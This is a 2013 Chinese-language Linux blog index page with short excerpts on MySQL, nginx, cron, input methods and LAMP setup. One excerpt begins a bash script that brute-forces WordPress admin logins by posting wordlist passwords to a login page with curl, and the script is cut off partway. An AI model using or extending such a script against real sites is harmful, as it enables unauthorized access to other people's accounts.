类别:
linux
作者:
sunshine / 2013-9-11 08:06 Wednesday
今天用xshell登录管理我的机器是。想看看都谁在服务器上于是乎输入#w。靠居然出错。
#w
#70 colunn windows is too narrow
#
字面的大概意思是窗口太窄,于是乎,最大化窗口ok。
迎刃而解。
阅读全文>>
类别:
linux
作者:
sunshine / 2013-8-27 00:49 Tuesday
本篇博文笔者试图通过自己的亲身实践来向大家讲解中小企业网基于LAMMP架构的实现。本片博文主要设计的知识体系如下,由笔者全部在RHEL6.4环境下进行搭建和实现。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
一、试验环境和软件版本
二、httpd-2.4.6的源码安装
三、如何使用通用二机制包安装mysql
四、编译安装php,实现与apache服务器的分离
五、源码编译memcached
六、源码安装PHP扩展程序memcache
七、安装PHP加速器xcache
八、简单测试网页的编写
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-7-21 18:17 Sunday
wget mysql.5.6.12.rpm
rpm -ivh mysql.5.6.12.rpm
步骤都很常规。中间缺少什么库就安装什么库。安装完成之后发现,使用空密码无法登陆。
使用以前的改密码的方法都没有成功。
其中有
1.
[root@loaclhost] /usr/bin/mysqld_safe --usr=mysql --skip-grant-tables --skip-networking&
开启第二个终端
[root@loaclhost] /usr/bin/mysql -u root mysql
2.
使用mysqladmin。输入
mysqladmin -u root -p oldpassword newpasswd
&nbs...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-7-1 17:11 Monday
1.用root登录 ,或su root
2.yum install "@Chinese Support"
3.exit
4.回到桌面,system->preferences->input method
5.如果没有,先注销一下。
6.到里面add输入法到列表里。
7.最后再注销、登录。
========================================================
# yum install "@Hindi Support"
# yum install "@Chinese Support"
OR
# yum groupinstall “Chinese Support”
这是CentOS 5的,应当适用于CentOS 6
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-22 23:46 Saturday
为当前用户创建cron服务
1. 键入 crontab -e 编辑crontab服务文件
例如 文件内容如下:
*/2 * * * * /bin/sh /home/admin/jiaoben/buy/deleteFile.sh
保存文件并并退出
*/2 * * * * /bin/sh /home/admin/jiaoben/buy/deleteFile.sh
*/2 * * * ...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-19 17:14 Wednesday
使用php-fpm解析PHP,"No input file specified","File not found"是令nginx新手头疼的常见错误,原因是php-fpm进程找不到SCRIPT_FILENAME配置的要执行的.php文件,php-fpm返回给nginx的默认404错误提示。
比如我的网站doucument_root下没有test.php,访问这个文件时通过抓包可以看到返回的内容。
HTTP/1.1 404 Not Found
Date: Fri, 21 Dec 2012 08:15:28 GMT
Content-Type: text/html
Proxy-Connection: close
Server: nginx/1.2...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-18 07:19 Tuesday
网上很多方法都是:/usr/local/mysql/scripts/mysql_install_db --user=mysql但是很有可能报错,找不到bin目录中的my_print_defaults
错误信息:
FATALERROR:Couldnotfind./bin/my_print_defaults
If you are using a binary release, you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run 'make install' firs...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-11 06:23 Tuesday
WordPress后台密码暴力破解程序,请先确认机器已安装curl
#!/bin/bash
#by leo108
#使用方式:./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh leo 1.txt http://xxx.com/wp-login.php 15
user=$1
zidian=$2
url=$3
thread=$4
function guess {
curl -s -d "log=$user&pwd=$1" $url >> $1.html
l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
...
阅读全文>>
类别:
linux
作者:
sunshine / 2013-6-9 01:52 Sunday
mysql安装地址
[root@localhost php-5.4.14]# whereis mysql
mysql: /usr/bin/mysql /usr/lib/mysql /usr/include/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz
找不到mysql的安装路径的话可以。尝试一下方案。
可以试试 mysqlnd php5.4貌似是支持的
./configure --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysq...
阅读全文>>